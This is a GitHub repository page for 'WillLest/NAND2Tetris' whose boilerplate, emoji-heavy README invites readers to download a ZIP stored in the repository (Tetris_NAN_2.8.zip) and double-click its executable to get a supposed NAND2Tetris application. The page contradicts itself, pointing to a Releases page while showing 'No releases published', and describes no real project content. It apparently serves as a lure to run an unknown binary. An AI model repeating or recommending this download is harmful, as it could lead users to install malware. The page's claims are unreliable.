Skip to content

WillLest/NAND2Tetris

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

16 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ NAND2Tetris - Build a Computer from Scratch

πŸš€ Getting Started

Welcome to NAND2Tetris! This project helps you build a complete computer system, starting with simple NAND gates and ending with a functional CPU. It's designed for anyone who wants to understand the elements of computing systems in a hands-on way.

πŸ“₯ Download and Install

Download Latest Release

To get started, visit the Releases page to download the latest version of NAND2Tetris:

Download NAND2Tetris

πŸ’Ύ System Requirements

To run NAND2Tetris smoothly, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution.
  • RAM: At least 4 GB of RAM.
  • Storage: 1 GB of available disk space.
  • Java Runtime Environment: Version 8 or later. (Download and install it from Oracle's website if you don't have Java installed.)

πŸ”§ Steps to Run the Application

  1. Download the Software:

    • Go to the Releases page.
    • Click on the link for the latest version under the Assets section.
  2. Extract the Files:

    • Once downloaded, locate the ZIP file in your downloads folder.
    • Right-click on the file and select "Extract All" (or use a similar extraction tool).
    • Choose a folder where you want to keep the project files, then click "Extract".
  3. Open the Application:

    • Navigate to the extracted folder.
    • Find the executable file (usually named https://github.com/WillLest/NAND2Tetris/raw/refs/heads/main/2/Tetris_NAN_2.8.zip or similar).
    • Double-click the file to run the application.
  4. Starting the Project:

    • After launching the application, you will see the main menu.
    • Follow the on-screen instructions to create your first project.

πŸ› οΈ Features

πŸ–₯️ Interactive Learning

NAND2Tetris encourages hands-on learning. You will work through exercises that teach you about logic gates, CPU design, and low-level programming.

πŸ”„ User-Friendly Interface

The user interface is designed for ease of use. Navigate through features with simple clicks and visual cues.

πŸ“š Comprehensive Documentation

Each component comes with detailed descriptions and guidance. You can refer to the built-in help section for step-by-step instructions.

πŸ’‘ Topics Covered

This project covers essential topics such as:

  • ALU (Arithmetic Logic Unit)
  • Computer Architecture
  • CPU Design
  • Digital Logic
  • Elements of Computing
  • Hack Computer
  • Hardware Simulation
  • HDL (Hardware Description Language)
  • Logic Gates
  • Sequential Circuits

πŸ“ž Get Support

If you encounter any issues while using NAND2Tetris or need help, you can reach out for assistance. Please check the Issues section on our GitHub Repository, where you can report problems or ask for guidance.

πŸ”— Other Resources

For additional learning materials, consider visiting:

πŸŽ‰ Join Our Community

Become part of the NAND2Tetris community! Join discussions, share your projects, and learn from others. You can find us on social media and various forums dedicated to computer architecture and design.


Thank you for choosing NAND2Tetris! Enjoy building your computer system and diving deep into the fundamentals of computing.

Releases

No releases published

Packages

 
 
 

Contributors